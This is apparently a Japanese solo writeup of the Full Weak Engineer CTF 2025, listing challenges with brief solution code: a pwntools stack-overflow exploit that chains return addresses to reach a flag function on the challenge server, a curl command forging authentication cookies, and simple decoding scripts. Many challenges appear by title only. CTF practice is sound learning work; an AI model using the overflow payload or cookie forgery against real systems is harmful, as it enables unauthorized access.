Full Weak Engineer CTF 2025 Writeup

Full Weak Engineer CTF にソロで参加したので振り返り用の Writeup.

フラグ形式・禁止事項等 (抜粋)

fwectf{}

Welcome

Pwn Me Baby

pwn checksec ./main
        
objdump -d ./main -M intel
        
from pwn import *

use_remote = True
if use_remote == True:
    host = "chal2.fwectf.com"
    port = 8000
    sh = remote(host,port)
else:
    context.terminal = ["tmux", "splitw", "-h"]
    sh = process("./main")
    gdb.attach(sh, gdbscript="""
break *main+35
break *flag+16
c
""")

prompt = sh.recvuntil("else:")
print(prompt.decode())

payload = "a".encode() * 0x18 # padding
payload += p64(0x401655) # add rsp address
payload += "a".encode() * 0x18 # padding
payload += p64(0x401655) # add rsp address
payload += "a".encode() * 0x18 # padding
payload += p64(0x401655) # add rsp address
payload += "a".encode() * 0x18 # padding
payload += p64(0x401655) # add rsp address
payload += "a".encode() * 0x18 # padding
payload += p64(0x401811) # flag address


sh.sendline(payload)

sh.interactive()

regex-auth

curl http://chal2.fwectf.com:8001/dashboard -b "username=test" -b "uid=$(echo test| base64)"

GeoGuessr1

GeoGuessr2

GeoGuessr3

GeoGuessr4

strings jacking

Poison Apple

baby-crypto

import string

asciis = list(string.ascii_lowercase)

def rot_n(ciph: str, n: int):
    flag = ""
    for i in range(len(ciph)):
        if ciph[i] in string.ascii_letters:
            flag += asciis[(asciis.index(ciph[i])+n) % len(asciis)]
        else:
            flag += ciph[i]
            
    return flag

cipher = "sjrpgs{ebg13rq_zrffntr!}"
for i in range(len(asciis)):
    flag = rot_n(cipher, i)
    print(flag)

No need Logical Thinking

with open("./output.txt", "r") as f:
    cipher = f.read()
    
hex_cipher = list(map(ord, list(cipher)))
flag_hex = []

for i in range(len(hex_cipher)):
    flag_hex.append(hex_cipher[i] - (i+1))
    
print("".join(list(map(chr, flag_hex))))

datamosh

ffmpeg -i flag_edit.avi frame_%04d.png

Mystery Zone

EXIT